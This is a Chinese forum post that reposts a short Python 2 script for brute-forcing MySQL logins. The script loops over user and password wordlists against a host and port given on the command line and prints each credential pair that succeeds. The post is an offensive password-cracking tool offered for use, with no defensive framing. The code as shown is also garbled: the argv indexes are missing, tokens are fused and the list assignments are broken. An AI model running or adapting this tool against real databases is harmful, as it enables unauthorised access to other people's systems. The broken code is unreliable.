蔷薇525 发表于 2018-8-7 13:15:51

Python mysql 爆破

# -*- coding: utf_8 -*-  
# Date: 2015/5/13
  
# author:sanr
  
import MySQLdb
  
import os
  
import sys
  
def README():
  
    print '+' + '-' * 50 + '+'
  
    print '\t         Python MySQL爆破'
  
    print '\t            author : sanr'
  
    print '\t         Time:2015-5-13'
  
    print '\t   mysql默认字典在程序目录mysql目录'
  
    print '+' + '-' * 50 + '+'
  
    if len(sys.argv) != 5:
  
      printos.path.basename(sys.argv) + "   127.0.0.1   3306user.txtpass.txt"
  
      sys.exit()
  

  
def    mysql_brute(name,pwd):
  
   db = None
  
   try:
  
      db = MySQLdb.connect(host=sys.argv,user=name,passwd=pwd,db='mysql',port=int(sys.argv))
  
      print '破解成功: %s %s'% (name,pwd)
  
   except:
  
      pass
  
   finally    :
  
      if db:
  
         db.close()
  
if __name__ == '__main__':
  
   README()
  
   userlist = )]
  
   passlist = )]
  
   for    name in userlist:
  
      for pwd in passlist:
  
         mysql_brute(name,pwd)
页: [1]
查看完整版本: Python mysql 爆破